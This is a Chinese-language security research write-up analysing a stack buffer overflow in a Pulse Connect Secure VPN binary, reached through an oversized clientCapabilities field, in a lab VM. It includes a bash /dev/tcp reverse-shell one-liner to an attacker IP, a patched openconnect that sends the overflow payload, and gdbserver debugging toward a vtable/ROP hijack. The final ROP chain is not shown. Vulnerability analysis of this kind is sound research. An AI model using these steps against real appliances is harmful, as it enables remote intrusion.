配置环境
下载好虚拟机文件后导入虚拟机中,会进行初始化(需要把虚拟机的网络连接改为NAT模式),中间需要回答一些问题
首先是最官方的问题:询问我们是否同意许可协议的条款,回答y即可。然后是询问我们是否选择此虚拟设备作为专用许可服务器。

然后是设置账号密码,以及一些名称,以及一些随机字符来增强系统的随机密钥生成器,直接回车就好

回车后

显示有系统命令但是并不是正常的shell。

这里有两种方式来获取固件,一种是通过逆向分析固件的启动过程解密;另一种是修改虚拟机内存中的代码或数据。
这里我们使用第二种,在虚拟机进入到上述选择页面后,不要做任何操作,等待它显示超时。

拍摄快照,这个时候如果回车的话,仍然会执行上面的选择,这是因为这个时候回车执行的仍然是设定好的程序/home/bin/dsconfig.pl,使用010对虚拟机文件进行修改,将/home/bin/dsconfig.pl修改为///////////////bin/sh.

修改完成后回到虚拟机,恢复快照回车就可以获取到shell了。

这里执行输入命令有点麻烦,可以反弹shell到我们的攻击机上进行固件提取。
bash -i >& /dev/tcp/192.168.201.158/6000 0>&1
吐个槽,这玩意内核写的是真谨慎,好多命令都没有,python版本还是python2的。
有python2的环境,使用python2启动http服务也可以,
python -m SimpleHTTPServer 8000
但是运行会报错

看起来是库文件损坏,访问对应的网页也没有响应

其实这里是因为端口没有放行并不是库的问题,可以查看当前放行端口,选择以开放的端口进行传输,也可以单独开一个端口来进行传输
iptables -L -n #查看当前服务器放行的端口
iptables -A INPUT -p tcp --dport 8000 -j ACCEPT #添加放行端口8000
添加完成后再次使用python启动http即可正常访问。


下载我们需要的文件即/home/bin下的web就可以获得我们所需要分析的文件了。仅仅有这个还不够我们还需要一些其他东西来帮助我们进行调试,上传gdbserver到目标机器上方便我们后续调试,因为命令的确实这里只能选择在/tmp目录下使用python脚本来进行传输了。
接受脚本:
cat > 2.py << 'EOF'
import socket
filename = "gdbserver-static"
def listen_on_port(port=8888):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', port))
server_socket.listen(5)
print("Listening on port %d..." % port)
while True:
client_socket, client_address = server_socket.accept()
print("Connection from %s established." % str(client_address))
try:
received_data = ''
while True:
data = client_socket.recv(1024)
if not data:
break
received_data += data
if received_data:
with open(filename, "wb") as f:
f.write(received_data)
print("[+] write to %s" % filename)
print("[+] Received %d bytes" % len(received_data))
except Exception as e:
print("Error: %s" % str(e))
finally:
client_socket.close()
if __name__ == "__main__":
listen_on_port(8888)
EOF
什么你问我为什么是cat写入文件??那还不是因为目标机器上没有vim、echo、甚至连vi都没有。

除了cat写入文件没有想到其他办法。
发送端:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.201.169', 8888))
with open("文件地址", 'rb') as file:
content = file.read()
s.sendall(content)
s.close()
运行的时候先开启监听端,在开启发送端即可。

开始分析
下载完对应的程序后,先check一下看看
➜ checksec web Checking for new versions of pwntools
To disable this functionality, set the contents of /home/p0ach1l/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[!] An issue occurred while checking PyPI You have the latest version of Pwntools (4.13.0) '/home/p0ach1l/Desktop/test/web'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'/home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib'
可以看出这是一个一个 32 位小端序 的二进制文件(数据在内存中低位地址在前)RELRO保护机制部分开启(GOT表可写,可能存在GOT覆盖攻击风险);没有开启栈保护(存在栈溢出的话更容易利用);NX开启了,堆栈等数据区域不能执行代码,在栈上直接执行shellcode不太可能了,要构造ROP链;地址随机化开启了,程序加载到内存时的基地址随机,利用前需要先泄露内存地址来确定真实基址。
对于不太了解PWN知识的人来说可能有点看不懂,这里简单补充一下这几个保护机制方便理解:
1.RELRO(重定位只读):是一种保护二进制程序安全的技术,主要目的是防止修改程序的全局偏移表(GOT),简单理解就是把“重要的电话号码本”(GOT表)锁起来,以此来防止黑客修改程序要调用的函数地址。
2.Stack Canary(栈金丝雀):是一种在栈上插入特殊检测值的技术,用于检测和防止栈溢出攻击。可以看成是在栈上放了一个“警报器/金丝雀”,如果栈被溢出破坏,警报就会进行告警,程序崩溃/结束。
3.NX(数据不可执行):一种内存保护技术,将数据内存区域标记为不可执行,防止在栈、堆等数据区域运行恶意代码。简单的讲就是把数据区域标记成只能读,这样在利用的时候及时将我们的恶意代码写进去也不能运行。
4.PIE(地址随机化):PIE是一种地址空间布局随机化技术,使得可执行文件在每次加载时都使用随机的基地址。每次启动程序时,把代码随机放在内存的不同位置,让我们无法知道具体的固定地址。给我们带来一点小麻烦。举个简单的例子,植物大战僵尸应该都玩过,PIE的作用就相当于我们每次进同一个关卡时第一只僵尸出现的路线是否被固定,如果被固定那么不管我们进几次所有的僵尸和出场顺序都是被固定好的,闯关将会变的日常简单,如果不固定则跟我们现在玩到的差不多,同一个关卡第一次进入和第二次进入僵尸的路线和出场顺序都不一样,以此增加游戏难度。
介绍完四种保护机制,再来看我们checksec出来的内容就容易理解多了。
当然如果你懒得看或者感觉看完还是一知半解可以看下面下面的例子
举个更简单好懂的例子:
可以将其想象成一座城堡,其中RELRO是城门守卫(目标只有部分守卫);Canary是地面压力传感器(目标没有安装);NX是城墙防爬装置(目标已安装); PIE是城堡位置随机移动(目标随机移动)。一句话总结这个程序就像:有坚固的城墙(NX),但大门没锁好(RELRO),没有警报系统(Canary),城堡地址不固定会随机移动(PIE)
看完checksec的内容,接下来就该看看我们的IDA反编译出来的结果了。

拖入IDA中开始进行分析,F5进入反编译后的界面,存在大量的函数,先看看main函数中内容

逻辑非常简单,主要作用是将程序的参数传递给另一个函数sub_89D30并返回其执行结果。跟进分析一下发现没有成功反编译掉,简单看一下汇编代码

一些简单的栈帧设置操作,后面调用了sub_2BC70,接着跟进分析一下发现是空的,后面继续跟进分析就省略掉
这里直接看存在漏洞的函数sub_E3540函数

浅浅解读一下
DSUtilMemPool::DSUtilMemPool((DSUtilMemPool *)v53);
创建一个 DSUtilMemPool 类型的对象,并将 v53 指向的内存区域作为参数传递给它的构造函数。
EPMessage::EPMessage((EPMessage *)v51, (DSUtilMemPool *)v53);
创建一个 EPMessage 类型的对象,并将 v51 指向的内存区域作为参数传递给它的构造函数,同时将之前创建的内存池对象 v53 也作为参数传递进去。
sub_11D6B8((int)v51, "clientIp", *(DSUtilMemPool **)(a1 + 108));
sub_11D6B8((int)v51, "clientHostName", *(DSUtilMemPool **)(a1 + 124));
sub_11D6B8((int)v51, "clientCapabilities", *(DSUtilMemPool **)(a1 + 140));
给 EPMessage 添加一个 字符串类型字段,键为 clientIp(客户端的IP地址)、clientHostName(客户端的主机名)、clientCapabilities(客户端支持的功能列表),值是从对象 a1 中获取的指针。解析clientCapabilities字段的时候回一个拷贝的动作,而拷贝的大小是我们发送的clientCapabilities的大小,但是缓冲区的大小是确定的,因此产生了溢出。
漏洞触发函数sub_E4AD0,sub_E4AD0是一个消息处理函数,它接收一个来自 IftTlsHeader 的消息 (a2),并根据消息的 vendorId (needle) 和 type (Type) 来决定如何处理。

浅浅解读一下
v20 = (const char *)sub_11D70E((int)v47, (char *)&IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES);
sub_11D70E() 调用函数,第一个参数是(int)v47, v47 是一个 EPMessage 对象,这里将其强制转换为 int 作为参数传递。EPMessage 用于解析消息内容的对象。第二个参数是(char *)&IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES,这是一个字符串字面量,代表一个键或属性名,用于从 EPMessage 对象中查找对应的值。这个键是 IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES,顾名思义,它用来查找客户端的能力(capabilities)。v20是一个指向客户端能力字符串的 C 风格字符串指针。
v21 = v20;
v21 指向与 v20 相同的内存位置,也就是客户端能力字符串的起始位置。
if ( v20 )
{
v22 = strlen(v20);
if ( v22 >= 0 )
{
if ( v22 >= *(_DWORD *)(a1 + 148) )
DSStr::reserve((DSStr *)(a1 + 140), v22 + 1);
memmove(*(void **)(a1 + 140), v21, v22);
*(_DWORD *)(a1 + 144) = v22;
*(_BYTE *)(*(_DWORD *)(a1 + 140) + v22) = 0;
}
}
else if ( *(int *)(a1 + 148) > 0 )
{
v23 = 1;
**(_BYTE **)(a1 + 140) = 0;
*(_DWORD *)(a1 + 144) = 0;
goto LABEL_55;
}
if ( v20 )检查v20是否为空,即是否 找到了clientCapabilities字段,v22 = strlen(v20);计算 v20 指向的字符串的实际长度。v22 现在存储这个长度。if ( v22 >= 0 ):是一个冗余检查,因为strlen返回size_t(无符号类型),永远不会小于 0。
*(_DWORD *)(a1 + 148): 获取 clientCapabilities 字符串缓冲区当前的 容量。
DSStr::reserve(...): 如果当前容量不足以容纳 v22 + 1 个字节,则调用 reserve 函数重新分配更大的内存空间给 a1 + 140 指向的字符串缓冲区。*(void **)(a1 + 140): 获取 clientCapabilities 字符串的实际存储地址。v21是要复制的源字符串。v22是要复制的字节数(字符串长度)。将找到的客户端能力字符串复制到 a1 + 140 指向的缓冲区中。
v23 = *(_DWORD *)(a1 + 144) + 1;
LABEL_55:
memset(dest, 0, sizeof(dest));
v23 的值来自于 *(_DWORD *)(a1 + 144) + 1。*(_DWORD *)(a1 + 144) 是 clientCapabilities 字符串的实际长度。LABEL_55是一个标签,表示代码执行流程中的一个位置。memset(dest, 0, sizeof(dest));中dest是一个局部缓冲区,在函数栈帧中分配,大小为 char dest[256];,即 256 字节。memset是一个 C 标准库函数,用于将一块内存区域填充为指定的值sizeof(dest): 表示 dest 缓冲区的总大小,即 256。
整体的主要作用是在开始拷贝 clientCapabilities 字符串之前,将整个 dest 缓冲区(256 字节)全部清零。
strncpy(dest, *(const char **)(a1 + 140), v23);
strncpy是 C 标准库中的一个字符串拷贝函数。dest是目标缓冲区,我们刚刚用 memset 清零了缓冲区,它的大小是 256 字节。a1 + 140: 同样是对 a1 指针进行偏移。这次偏移 140 字节。(_DWORD *)将这 140 字节的偏移处的数据解释为一个 32 位的无符号整数(DWORD)。*(_DWORD *)(a1 + 140)读取从 a1 偏移 140 字节开始的 4 个字节。const char **: 类型转换为 const char **,然后解引用 *,得到 const char *。这表示我们要从这个地址开始,将 clientCapabilities 字符串拷贝出来。v23是 strncpy 函数的第三个参数,表示要从源字符串拷贝的最大字符数。没有限制长度,存在栈溢出!
写的有点乱,整体说明一下,这里主要就是处理并存储客户端的“能力字段”,存储空间大小是256 字节,但是用户客户端的“能力字段”的大小我们可以自己决定,以此来导致栈溢出。
使用openconnect来触发栈溢出,先配置一下环境
sudo apt install -y \
libxml2-dev \ # XML解析库开发文件 - 用于解析配置文件、响应数据
zlib1g-dev \ # 压缩库开发文件 - 用于数据压缩/解压缩
openssl \ # SSL/TLS工具集 - 提供加密通信基础
libssl-dev \ # OpenSSL开发文件 - SSL/TLS加密支持
gnutls-dev \ # GnuTLS开发文件 - 替代的TLS/SSL实现
automake \ # 生成Makefile.in文件
autoconf \ # 生成configure脚本
pkg-config\ # 管理编译和链接标志
libtool\ # 管理库文件的创建和链接
gettext # 国际化(i18n)支持 - 多语言翻译
主要是为了编译openconnect,下载openconnect
git clone https://github.com/openconnect/openconnect.git
下载不成功的话也可以直接去GitHub下载,

这里还额外需要一个vpnc-script,下载完成后修改pulse.c文件的代码,对
if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
buf_append(reqbuf, "\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);
的代码段进行修改,使其成为
if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
buf_append(reqbuf, " clientCapabilities=%s", bytes);
for(unsigned int n=0; n<100; n++)
buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);
完成之后开始编译
./autogrn.sh
./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4
make
等待编译完成即可

编译完成后就可以开始了,先进行一下测试
./openconnect 192.168.201.169 --protocol=pulse --dump-http-traffic -vvv
使用当前文件夹下也就是我们改版过的openconnect对目标站点(192.168.201.169/需要根据自己IP进行修改)进行测试。--protocol=pulse指定使用Pulse Connect Secure协议,--dump-http-traffic显示所有HTTP请求和响应的原始数据。-vvv最高级别的调试。

浅浅解读一下输出出来的信息
Attempting to connect to server 192.168.201.169:443
Connected to 192.168.201.169:443
SSL negotiation with 192.168.201.169
Server certificate verify failed: signer not found
Certificate from VPN server "192.168.201.169" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:fDLmx6yqNangu73Xs1m7PAlUT+h24FYVMLeMm1AKf4I=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 192.168.201.169 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
这里是SSL/TLS握手阶段,这里因为我们服务器使用自签名证书,需要用户来选择信任,输入yes后才会继续链接。
> GET / HTTP/1.1
> Host: 192.168.201.169
> Upgrade: IF-T/TLS 1.0
> Content-Type: EAP
这里是HTTP协议升级,从HTTPS升级到专用的IF-T/TLS协议。
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type: application/octet-stream
Pragma: no-cache
Upgrade: IF-T/TLS 1.0
Connection: Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature: 1
Strict-Transport-Security: max-age=31536000
accept-ch: Sec-CH-UA-Platform-Version
> 0000: 00 00 55 97 00 00 00 01 00 00 00 14 00 00 00 00 |..U.............|
> 0010: 00 01 02 02 |....|
Read 20 bytes of IF-T/TLS record
< 0000: 00 00 55 97 00 00 00 02 00 00 00 14 00 00 01 f5 |..U.............|
< 0010: 00 00 00 02 |....|
IF-T/TLS version from server: 2
主要是Pulse协议握手信息。
> 0000: 00 00 0a 4c 00 00 00 88 00 00 06 a6 00 00 00 01 |...L............|
> 0010: 63 6c 69 65 6e 74 48 6f 73 74 4e 61 6d 65 3d 74 |clientHostName=t|
> 0020: 61 6f 79 61 6e 67 75 69 20 63 6c 69 65 6e 74 49 |aoyangui clientI|
> 0030: 70 3d 31 39 32 2e 31 36 38 2e 32 30 31 2e 31 35 |p=192.168.201.15|
> 0040: 38 20 63 6c 69 65 6e 74 43 61 70 61 62 69 6c 69 |8 clientCapabili|
> 0050: 74 69 65 73 3d 31 39 32 2e 31 36 38 2e 32 30 31 |ties=192.168.201|
> 0060: 2e 31 35 38 41 41 41 41 41 41 41 41 41 41 41 41 |.158AAAAAAAAAAAA|
> 0070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
这里也就是我们构造之后的payload阶段。
启用gdb开始调试进行分析,在本地运行的话太过麻烦,这个时候我们之前上传的gdbserver就起到作用了,在目标机器上
./gdbserver-static 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")
在自己机上启用我们的gdb连接目标来进行调试
target remote 192.168.201.169:8010
连接到我们的目标,在strcpy函数返回后打一个断点,设置一个自动监控的脚本
break *$eip+100
commands
> echo === After strcpy ===
> x/32xw $esp
>info registers eip ebp esp
>backtrace
>continue
>end
设置完之后再次使用我们的openconnect打一次payload,此时可以发现溢出的数据。

只有栈溢出还不够,还需要劫持控制流来构造完整的攻击链,在sub_E4AD0函数溢出发生后还有一个指针

这里的栈空间分布大致为:

对应的汇编代码

loc_E51C3: ; CODE XREF: sub_E4AD0+6EC↑j
mov edx, [esp+0A0Ch+var_9E0]
//将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中。
mov eax, [esp+0A0Ch+arg_0]
//获取a1指针
mov eax, [eax]
//通过a1获取vtable地址
mov [esp+0A0Ch+src], edx
//将edx寄存器中的值(之前从[esp+0A0Ch+var_9E0]加载的,可能是源字符串地址或长度)保存到栈上src的位置
mov edx, [esp+0A0Ch+arg_0]
//再次将栈上第一个参数的值加载到edx寄存器中
mov [esp+0A0Ch+n], 2Eh ; '.' ; int
// 将数值2Eh(即字符.)保存到栈上n的位置
mov [esp+0A0Ch+var_A0C], edx
//将edx寄存器中的值(之前从[esp+0A0Ch+arg_0]加载的)保存到栈上var_A0C的位置。
call dword ptr [eax+48h]
//调用了一个函数。函数的地址是从eax指向的结构体中的偏移48h处获取的。虚函数调用,我们要做的就是在这里劫持。
到这里我们只需要伪造虚函数表并将地址传递给eax让整个程序到这里执行我们的ROP来获取到shell。
ROP主要是用来绕过内存保护机制,也就是我们在最开始说的数据不能在内存中直接执行。ROP就是通过串联程序中本来就存在的代码段(gadget),将这些代码段串联起来构造出我们要的执行流程。其中最主要的就是通过控制栈上的返回地址使其能够让其按照我们的想法来运行。
此时esp指向的区域为用户不可控区域,我们需要找到一个gadget,将esp指向可控的部分同时为了后续获取shell,gadget还要能够设置ebx寄存器,程序使用了大量的lib库,这里我们从所有引用的lib库中进行查找,最后在libdsplibs.so的0x93849C地址找到了合适的gadget。


后面就是正常构造ROP链来获取shell即可。
最终效果图:

写在最后
==本文仅用于安全研究和漏洞分析目的,请勿用于任何非法用途。==
